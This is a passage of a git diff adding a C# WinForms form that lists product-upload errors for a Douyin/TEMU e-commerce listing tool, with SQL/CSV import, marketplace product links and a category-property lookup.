this.btnCancel.ForeColor = System.Drawing.Color.White; + this.btnCancel.Location = new System.Drawing.Point(122, 105); + this.btnCancel.Margin = new System.Windows.Forms.Padding(2); + this.btnCancel.Name = "btnCancel"; + this.btnCancel.Size = new System.Drawing.Size(80, 26); + this.btnCancel.TabIndex = 380; + this.btnCancel.Text = "取消"; + this.btnCancel.UseVisualStyleBackColor = false; + this.btnCancel.Click += new System.EventHandler(this.btnCancel_Click); + // + // btnSave + // + this.btnSave.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnSave.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnSave.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnSave.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnSave.ForeColor = System.Drawing.Color.White; + this.btnSave.Location = new System.Drawing.Point(38, 105); + this.btnSave.Margin = new System.Windows.Forms.Padding(2); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(80, 26); + this.btnSave.TabIndex = 379; + this.btnSave.Text = "保存"; + this.btnSave.UseVisualStyleBackColor = false; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // textBox1 + // + this.textBox1.Location = new System.Drawing.Point(4, 4); + this.textBox1.Name = "textBox1"; + this.textBox1.Size = new System.Drawing.Size(231, 21); + this.textBox1.TabIndex = 0; + // + // buttonExportCsv + // + this.buttonExportCsv.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.buttonExportCsv.Cursor = System.Windows.Forms.Cursors.Hand; + this.buttonExportCsv.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.buttonExportCsv.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.buttonExportCsv.ForeColor = System.Drawing.Color.White; + this.buttonExportCsv.Location = new System.Drawing.Point(231, 11); + this.buttonExportCsv.Margin = new System.Windows.Forms.Padding(2); + this.buttonExportCsv.Name = "buttonExportCsv"; + this.buttonExportCsv.Size = new System.Drawing.Size(80, 26); + this.buttonExportCsv.TabIndex = 382; + this.buttonExportCsv.Text = "导入csv"; + this.buttonExportCsv.UseVisualStyleBackColor = false; + this.buttonExportCsv.Click += new System.EventHandler(this.buttonExportCsv_Click); + // + // btnAddToUpload + // + this.btnAddToUpload.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnAddToUpload.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnAddToUpload.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnAddToUpload.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnAddToUpload.ForeColor = System.Drawing.Color.White; + this.btnAddToUpload.Location = new System.Drawing.Point(357, 11); + this.btnAddToUpload.Margin = new System.Windows.Forms.Padding(2); + this.btnAddToUpload.Name = "btnAddToUpload"; + this.btnAddToUpload.Size = new System.Drawing.Size(109, 26); + this.btnAddToUpload.TabIndex = 381; + this.btnAddToUpload.Text = "添加选中到上传"; + this.btnAddToUpload.UseVisualStyleBackColor = false; + this.btnAddToUpload.Click += new System.EventHandler(this.btnAddToUpload_Click); + // + // dgvError + // + this.dgvError.AllowUserToAddRows = false; + this.dgvError.AllowUserToDeleteRows = false; + dataGridViewCellStyle7.BackColor = System.Drawing.Color.WhiteSmoke; + this.dgvError.AlternatingRowsDefaultCellStyle = dataGridViewCellStyle7; + this.dgvError.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.dgvError.BackgroundColor = System.Drawing.Color.White; + this.dgvError.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle8.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.dgvError.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle8; + this.dgvError.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.dgvError.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.colSelect, + this.Column1, + this.Column2, + this.ColCatId, + this.colAuthStatus, + this.ColFrom, + this.ColProductId, + this.ColError, + this.ColRemark, + this.Column3}); + this.dgvError.Location = new System.Drawing.Point(9, 44); + this.dgvError.Name = "dgvError"; + this.dgvError.ReadOnly = true; + dataGridViewCellStyle9.Font = new System.Drawing.Font("微软雅黑", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.dgvError.RowsDefaultCellStyle = dataGridViewCellStyle9; + this.dgvError.RowTemplate.Height = 23; + this.dgvError.Size = new System.Drawing.Size(925, 479); + this.dgvError.TabIndex = 379; + this.dgvError.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvError_CellClick); + this.dgvError.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.dgvError_CellContentClick); + this.dgvError.KeyDown += new System.Windows.Forms.KeyEventHandler(this.dgvError_KeyDown); + this.dgvError.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.dgvError_KeyPress); + // + // colSelect + // + this.colSelect.FillWeight = 50F; + this.colSelect.HeaderText = "选"; + this.colSelect.Name = "colSelect"; + this.colSelect.ReadOnly = true; + this.colSelect.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colSelect.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colSelect.Width = 40; + // + // Column1 + // + this.Column1.HeaderText = "添加时间"; + this.Column1.Name = "Column1"; + this.Column1.ReadOnly = true; + // + // Column2 + // + this.Column2.HeaderText = "修改时间"; + this.Column2.Name = "Column2"; + this.Column2.ReadOnly = true; + // + // ColCatId + // + this.ColCatId.HeaderText = "分类ID"; + this.ColCatId.Name = "ColCatId"; + this.ColCatId.ReadOnly = true; + this.ColCatId.Resizable = System.Windows.Forms.DataGridViewTriState.True; + // + // colAuthStatus + // + this.colAuthStatus.HeaderText = "分类名称"; + this.colAuthStatus.Name = "colAuthStatus"; + this.colAuthStatus.ReadOnly = true; + this.colAuthStatus.Width = 200; + // + // ColFrom + // + this.ColFrom.HeaderText = "商品来源"; + this.ColFrom.Name = "ColFrom"; + this.ColFrom.ReadOnly = true; + // + // ColProductId + // + this.ColProductId.HeaderText = "商品ID"; + this.ColProductId.Name = "ColProductId"; + this.ColProductId.ReadOnly = true; + this.ColProductId.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ColProductId.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // ColError + // + this.ColError.HeaderText = "错误内容"; + this.ColError.Name = "ColError"; + this.ColError.ReadOnly = true; + this.ColError.Width = 500; + // + // ColRemark + // + this.ColRemark.HeaderText = "备注"; + this.ColRemark.Name = "ColRemark"; + this.ColRemark.ReadOnly = true; + // + // Column3 + // + this.Column3.HeaderText = "是否修复"; + this.Column3.Name = "Column3"; + this.Column3.ReadOnly = true; + this.Column3.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.Column3.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + // + // btnImport + // + this.btnImport.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnImport.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnImport.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnImport.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnImport.ForeColor = System.Drawing.Color.White; + this.btnImport.Location = new System.Drawing.Point(147, 11); + this.btnImport.Margin = new System.Windows.Forms.Padding(2); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(80, 26); + this.btnImport.TabIndex = 378; + this.btnImport.Text = "导入sql"; + this.btnImport.UseVisualStyleBackColor = false; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnOnlineSearch + // + this.btnOnlineSearch.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnOnlineSearch.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnOnlineSearch.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnOnlineSearch.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnOnlineSearch.ForeColor = System.Drawing.Color.White; + this.btnOnlineSearch.Location = new System.Drawing.Point(11, 11); + this.btnOnlineSearch.Margin = new System.Windows.Forms.Padding(2); + this.btnOnlineSearch.Name = "btnOnlineSearch"; + this.btnOnlineSearch.Size = new System.Drawing.Size(132, 26); + this.btnOnlineSearch.TabIndex = 377; + this.btnOnlineSearch.Text = "服务端查询(内网)"; + this.btnOnlineSearch.UseVisualStyleBackColor = false; + this.btnOnlineSearch.Click += new System.EventHandler(this.btnOnlineSearch_Click); + // + // label2 + // + this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.label2.AutoSize = true; + this.label2.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.label2.Location = new System.Drawing.Point(889, 13); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(31, 20); + this.label2.TabIndex = 384; + this.label2.Text = "0/0"; + this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; + this.label2.Visible = false; + // + // btnGetProp材质 + // + this.btnGetProp材质.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnGetProp材质.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetProp材质.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetProp材质.FlatAppearance.BorderSize = 0; + this.btnGetProp材质.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetProp材质.Font = new System.Drawing.Font("微软雅黑", 9F); + this.btnGetProp材质.ForeColor = System.Drawing.Color.White; + this.btnGetProp材质.Location = new System.Drawing.Point(683, 11); + this.btnGetProp材质.Margin = new System.Windows.Forms.Padding(2); + this.btnGetProp材质.Name = "btnGetProp材质"; + this.btnGetProp材质.Size = new System.Drawing.Size(188, 26); + this.btnGetProp材质.TabIndex = 383; + this.btnGetProp材质.Text = "采集含有材质必填的类目"; + this.btnGetProp材质.UseVisualStyleBackColor = false; + this.btnGetProp材质.Visible = false; + this.btnGetProp材质.Click += new System.EventHandler(this.btnGetProp材质_Click); + // + // btnGetDetail + // + this.btnGetDetail.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.btnGetDetail.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnGetDetail.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnGetDetail.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnGetDetail.ForeColor = System.Drawing.Color.White; + this.btnGetDetail.Location = new System.Drawing.Point(540, 11); + this.btnGetDetail.Margin = new System.Windows.Forms.Padding(2); + this.btnGetDetail.Name = "btnGetDetail"; + this.btnGetDetail.Size = new System.Drawing.Size(103, 26); + this.btnGetDetail.TabIndex = 385; + this.btnGetDetail.Text = "测试商品详情"; + this.btnGetDetail.UseVisualStyleBackColor = false; + this.btnGetDetail.Click += new System.EventHandler(this.btnGetDetail_Click); + // + // UploadProductErrorForm + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(945, 535); + this.Controls.Add(this.btnGetDetail); + this.Controls.Add(this.label2); + this.Controls.Add(this.btnGetProp材质); + this.Controls.Add(this.buttonExportCsv); + this.Controls.Add(this.btnAddToUpload); + this.Controls.Add(this.panel1); + this.Controls.Add(this.dgvError); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.btnOnlineSearch); + this.Name = "UploadProductErrorForm"; + this.Text = "UploadProductErrorForm"; + this.Load += new System.EventHandler(this.UploadProductErrorForm_Load); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvError)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private UserControls.ButtonEx btnImport; + private UserControls.ButtonEx btnOnlineSearch; + private UserComponent.DataGridViewEx dgvError; + private System.Windows.Forms.Panel panel1; + private UserControls.ButtonEx btnCancel; + private UserControls.ButtonEx btnSave; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.DataGridViewCheckBoxColumn colSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.DataGridViewTextBoxColumn ColCatId; + private System.Windows.Forms.DataGridViewTextBoxColumn colAuthStatus; + private System.Windows.Forms.DataGridViewTextBoxColumn ColFrom; + private System.Windows.Forms.DataGridViewLinkColumn ColProductId; + private System.Windows.Forms.DataGridViewTextBoxColumn ColError; + private System.Windows.Forms.DataGridViewTextBoxColumn ColRemark; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column3; + private UserControls.ButtonEx btnAddToUpload; + private UserControls.ButtonEx buttonExportCsv; + private System.Windows.Forms.Label label2; + private UserControls.ButtonEx btnGetProp材质; + private UserControls.ButtonEx btnGetDetail; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.cs b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.cs new file mode 100644 index 0000000..02cdedc --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/UploadProductErrorForm.cs @@ -0,0 +1,497 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Param.FissionManage; +using AllBase.Model.Param.ProductManage; +using AllBase.Model.Param.UploadManage; +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.Util; +using NaiBa.Util.Extension; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BLL.Upload; +using Work.DouyinApiClass; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class UploadProductErrorForm : Form + { + public static List lstUploadErrorParam = new List(); + + public UploadProductErrorForm() + { + InitializeComponent(); + + lstUploadErrorParam = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("upload_product_error_data"); + if (lstUploadErrorParam == null) + lstUploadErrorParam = new List(); + } + + private void btnImport_Click(object sender, EventArgs e) + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(DyCategoryParam.DyCategorys); + + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "数据库.sql文件(*.sql)|*.sql"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + Task.Run(() => + { + foreach (var fileName in openFileDialog.FileNames) + { + string lineStr = string.Empty; + string productUrl = string.Empty; + try + { + using (StreamReader sr = new StreamReader(fileName, Encoding.UTF8)) + { + int row = 0; + while ((lineStr = sr.ReadLine()) != null) + { + List LineStrs = new List(); + if (lineStr.StartsWith("INSERT INTO `oa_upload_error_log` VALUES")) + LineStrs = lineStr.Split(new string[] { ", ", "INSERT INTO `oa_upload_error_log` VALUES (", ");" }, + StringSplitOptions.RemoveEmptyEntries).ToList(); + else + continue; + + UploadErrorParam err = new UploadErrorParam() + { + cat_id = LineStrs[8].Trim('\''), + message = LineStrs[9].Trim('\''), + product_id = LineStrs[10].Trim('\''), + source_id = LineStrs[11].Trim('\''), + addtime = Convert.ToDateTime(LineStrs[1].Trim('\'')), + update_time = Convert.ToDateTime(LineStrs[4].Trim('\'')), + }; + var cat = Fission.goodsCategoryList.FirstOrDefault(c => c.id.ToString() == err.cat_id); + string catName = "^" + cat?.name; + if (cat != null && cat.name != "全部分类") + { + var parentCat = cat; + while (parentCat != null && parentCat.parent_cid != 0) + { + parentCat = Fission.goodsCategoryList.FirstOrDefault(mc => mc.id == parentCat.parent_cid); + catName = "^" + parentCat.name + catName; + } + } + err.cat_name = catName.Trim('^'); + + if (lstUploadErrorParam.Any(r => r.cat_id == err.cat_id && r.product_id == err.product_id && r.message == err.message)) + continue; + + lstUploadErrorParam.Add(err); + + Invoke(new Action(() => + { + if (err.update_time > DateTime.Now.Date) + this.dgvError.Rows.Add(false, err.addtime, err.update_time, err.cat_id, err.cat_name, err.source_id, + err.product_id, err.message, err.remark, err.is_repair); + })); + row++; + } + } + } + catch (Exception ex) + { + if (ex.Message.Contains("无法访问")) + { + BaseMsgForm.ShowInfo("文件" + fileName + "打开失败,请查看是否有其他应用正在使用。"); + } + } + } + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data", lstUploadErrorParam); + }); + } + } + + private void dgvError_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + string headerText = dgvError.Columns[e.ColumnIndex].HeaderText; + string from = dgvError.Rows[e.RowIndex].Cells["ColFrom"].Value.ToString(); + string productId = dgvError.Rows[e.RowIndex].Cells["ColProductId"].Value.ToString(); + string cat_id = dgvError.Rows[e.RowIndex].Cells["ColCatId"].Value.ToString(); + string message = dgvError.Rows[e.RowIndex].Cells["ColError"].Value.ToString(); + if (headerText.ToUpper() == "商品ID") + { + string upUrl = ""; + if (from.StartsWith("tb")) + upUrl = "https://item.taobao.com/item.htm?id=" + productId; + if (from.StartsWith("pd")) + upUrl = "https://mobile.yangkeduo.com/goods.html?goods_id=" + productId; + if (from.StartsWith("al")) + upUrl = "https://detail.1688.com/offer/" + productId + ".html"; + if (from.StartsWith("jx")) + upUrl = "https://item.jd.com/" + productId + ".html"; + if (from.StartsWith("dy")) + upUrl = "https://haohuo.jinritemai.com/views/product/detail?id=" + productId; + if (string.IsNullOrEmpty(productId)) + upUrl = "https://www.baidu.com"; + NaiBa.Util.Helper.FileHelper.OpenUrl(upUrl); + } + if (headerText == "是否修复") + { + dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = !dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ParseToBool(); + var err = lstUploadErrorParam.Find(r => r.cat_id == cat_id && r.product_id == productId && r.message == message); + if (err != null) + { + err.is_repair = dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ParseToBool(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data", lstUploadErrorParam); + } + } + if (headerText == "选") + { + dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value = !dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value.ParseToBool(); + } + } + + private void UploadProductErrorForm_Load(object sender, EventArgs e) + { + lstUploadErrorParam = lstUploadErrorParam.OrderByDescending(err => err.update_time).ToList(); + var lstUploadErrorParamOld = lstUploadErrorParam.Where(err => err.update_time < DateTime.Now.Date).ToList(); + if (lstUploadErrorParamOld.Count > 0) + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data" + DateTime.Now.ToString("yyyyMMddHHmm"), lstUploadErrorParam); + lstUploadErrorParam = lstUploadErrorParam.Where(err => err.update_time >= DateTime.Now.Date).ToList(); + foreach (var err in lstUploadErrorParam) + { + this.dgvError.Rows.Add(false, err.addtime, err.update_time, err.cat_id, err.cat_name, err.source_id, + err.product_id, err.message, err.remark, err.is_repair); + if (this.dgvError.Rows.Count > 5000) + break; + } + +#if DEBUG + btnGetProp材质.Visible = true; + label2.Visible = true; +#endif + } + + private void btnCancel_Click(object sender, EventArgs e) + { + this.panel1.Visible = false; + } + + private void btnSave_Click(object sender, EventArgs e) + { + var err = panel1.Tag as UploadErrorParam; + if (err == null) + return; + + err.remark = textBox1.Text.Trim(); + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data", lstUploadErrorParam); + var row = dgvError.Rows.Cast().FirstOrDefault(r => r.Cells["ColProductId"].Value.ToString() == err.product_id + && r.Cells["ColError"].Value.ToString() == err.message && r.Cells["ColCatId"].Value.ToString() == err.cat_id); + row.Cells["ColRemark"].Value = err.remark; + this.panel1.Visible = false; + } + + private void dgvError_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + + string headerText = dgvError.Columns[e.ColumnIndex].HeaderText; + string from = dgvError.Rows[e.RowIndex].Cells["ColFrom"].Value.ToString(); + string productId = dgvError.Rows[e.RowIndex].Cells["ColProductId"].Value.ToString(); + string cat_id = dgvError.Rows[e.RowIndex].Cells["ColCatId"].Value.ToString(); + string message = dgvError.Rows[e.RowIndex].Cells["ColError"].Value.ToString(); + if (headerText == "备注") + { + var text = dgvError.Rows[e.RowIndex].Cells[e.ColumnIndex].Value; + var err = lstUploadErrorParam.FirstOrDefault(r => r.cat_id == cat_id && r.product_id == productId && r.message == message); + if (err != null) + { + this.panel1.Tag = err; + this.panel1.Visible = true; + this.panel1.BringToFront(); + this.textBox1.Text = err.remark; + } + } + } + + private void btnAddToUpload_Click(object sender, EventArgs e) + { + var rows = dgvError.Rows.Cast().Where(r => r.Selected).ToList(); + var rows1 = dgvError.Rows.Cast().Where(r => r.Cells["colSelect"].Value?.ParseToBool() == true); + rows.AddRange(rows1); + + List productIds = new List(); + foreach (DataGridViewRow r in rows) + { + string from = r.Cells["ColFrom"].Value.ToString(); + string productId = r.Cells["ColProductId"].Value.ToString(); + + string upUrl = ""; + if (from.StartsWith("tb")) + upUrl = "https://item.taobao.com/item.htm?id=" + productId; + if (from.StartsWith("pd")) + upUrl = "https://mobile.yangkeduo.com/goods.html?goods_id=" + productId; + if (from.StartsWith("al")) + upUrl = "https://detail.1688.com/offer/" + productId + ".html"; + if (from.StartsWith("jx")) + upUrl = "https://item.jd.com/" + productId + ".html"; + if (from.StartsWith("dy")) + upUrl = "https://haohuo.jinritemai.com/views/product/detail?id=" + productId; + if (string.IsNullOrEmpty(productId)) + upUrl = "https://www.baidu.com"; + productIds.Add(upUrl); + } + if (UploadProductForm.instance != null) + { + UploadProductForm.instance.InputDataData(productIds.ToArray()); + } + } + + private void buttonExportCsv_Click(object sender, EventArgs e) + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(DyCategoryParam.DyCategorys); + + OpenFileDialog openFileDialog = new OpenFileDialog(); + openFileDialog.Filter = "数据.csv文件(*.csv)|*.csv"; + openFileDialog.RestoreDirectory = true; + openFileDialog.FilterIndex = 1; + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() == DialogResult.OK) + { + Task.Run(() => + { + foreach (var fileName in openFileDialog.FileNames) + { + string lineStr = string.Empty; + string productUrl = string.Empty; + try + { + using (StreamReader sr = new StreamReader(fileName, Encoding.Default)) + { + int row = 0; + while ((lineStr = sr.ReadLine()) != null) + { + List LineStrs = lineStr.Split(new string[] { "," }, + StringSplitOptions.RemoveEmptyEntries).ToList(); + if (LineStrs.Count < 7) + continue; + + UploadErrorParam err = new UploadErrorParam() + { + cat_id = LineStrs[3].Trim('\''), + message = LineStrs[6].Trim('\''), + product_id = LineStrs[4].Trim('\''), + source_id = LineStrs[5].Trim('\''), + addtime = Convert.ToDateTime(LineStrs[1].Trim('\'')), + update_time = Convert.ToDateTime(LineStrs[2].Trim('\'')), + }; + var cat = Fission.goodsCategoryList.FirstOrDefault(c => c.id.ToString() == err.cat_id); + string catName = "^" + cat?.name; + if (cat != null && cat.name != "全部分类") + { + var parentCat = cat; + while (parentCat != null && parentCat.parent_cid != 0) + { + parentCat = Fission.goodsCategoryList.FirstOrDefault(mc => mc.id == parentCat.parent_cid); + catName = "^" + parentCat.name + catName; + } + } + err.cat_name = catName.Trim('^'); + + if (lstUploadErrorParam.Any(r => r.cat_id == err.cat_id && r.product_id == err.product_id && r.message == err.message)) + continue; + + lstUploadErrorParam.Add(err); + + Invoke(new Action(() => + { + if (err.update_time > DateTime.Now.Date /*&& err.message.Contains("类目属性")*/) + this.dgvError.Rows.Add(false, err.addtime, err.update_time, err.cat_id, err.cat_name, err.source_id, + err.product_id, err.message, err.remark, err.is_repair); + })); + row++; + } + } + } + catch (Exception ex) + { + if (ex.Message.Contains("无法访问")) + { + BaseMsgForm.ShowInfo("文件" + fileName + "打开失败,请查看是否有其他应用正在使用。"); + } + } + } + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("upload_product_error_data", lstUploadErrorParam); + }); + } + } + + private void dgvError_KeyPress(object sender, KeyPressEventArgs e) + { + if (e.KeyChar == ' ') + { + } + } + + private void dgvError_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Delete) + { + var rows = dgvError.Rows.Cast().ToList().Where(r => r.Selected); + foreach (var row in rows) + { + var err = lstUploadErrorParam.FirstOrDefault(er => er.cat_id == row.Cells["ColCatId"].Value.ToString() + && er.product_id == row.Cells["ColProductId"].Value.ToString()); + if (err != null) + lstUploadErrorParam.Remove(err); + + dgvError.Rows.Remove(row); + } + } + } + + private void btnGetProp材质_Click(object sender, EventArgs e) + { + Task.Run(() => + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(DyCategoryParam.DyCategorys); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ApiAuthStatus == "授权成功"); + StringBuilder sb = new StringBuilder(); + sb.Append(FileBase.ReadAllText("抖音类目包含材质必填项的属性.txt")); + string errStr = ""; + + int num = 0; + foreach (var ca in Fission.goodsCategoryList) + { + num++; + if (num % 100 == 99) + { + FileBase.WriteAllText("抖音类目包含材质必填项的属性.txt", sb.ToString()); + } + + Invoke(new Action(() => { this.label2.Text = num + "/" + Fission.goodsCategoryList.Count; })); + if (sb.ToString().StartsWith(ca.id + "^") || sb.ToString().Contains("\r\n" + ca.id + "^")) + continue; + + if (!ca.is_leaf) + continue; + + string str = ""; + + CatePropertyResponseInfo propery = new UploadPropertyBLL().getCatePropertyInterfaceV2(ca.id.ToString(), shop); + while (propery == null) + { + Thread.Sleep(1000); + propery = new UploadPropertyBLL().getCatePropertyInterfaceV2(ca.id.ToString(), shop); + } + if (propery.data?.data == null || propery.data?.data.Count == 0) + { + // 此类目已调整升级,请重新选择类目进行商品发布 + // 其他酒类 + // 农用/环境用卫生农药 + // 追悼/奠仪用花 + errStr += ca.name + "^" + propery.err_no + "^" + propery.log_id + "^" + propery.message + "^" + propery.sub_msg + "\r\n"; + FileBase.WriteAllText("抖音类目属性获取错误.txt", errStr); + continue; + } + foreach (var pItem in propery?.data?.data) + { + if ((pItem.property_name.Contains("材质") || pItem.property_name.Contains("含量")) && pItem.required) + str += "^" + pItem.property_name; + } + if (!string.IsNullOrEmpty(str)) + { + string catName = "^" + ca.name; + var parentCat = ca; + while (parentCat.parent_cid != 0) + { + parentCat = Fission.goodsCategoryList.FirstOrDefault(mc => mc.id == parentCat.parent_cid); + catName = "^" + parentCat.name + catName; + } + sb.Append(ca.id + "^" + catName.Trim('^') + "-----" + str.Trim('^') + "\r\n"); + } + Thread.Sleep(Randomx.GetId(100, 300)); + } + FileBase.WriteAllText("抖音类目包含材质必填项的属性.txt", sb.ToString()); + }); + } + + private void btnGetDetail_Click(object sender, EventArgs e) + { + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccount == "开箱小店"); + if (shop != null) + { + DouyinApi api = new DouyinApi(shop); + api.JsonData = new Dictionary(); + api.JsonData["product_id"] = "3550791292457991728"; + var html = api.GetProductDetail(); + } + } + + private void btnOnlineSearch_Click(object sender, EventArgs e) + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(DyCategoryParam.DyCategorys); + + var result = GetHtml.GetUrl("http://192.168.8.157:801/data.php?page=1&limit=1000"); + if (string.IsNullOrEmpty(result)) + return; + JObject jObj = JObject.Parse(result); + + foreach (JObject obj in jObj["data"]) + { + var objStr = obj.ToString(); + + UploadErrorParam err = new 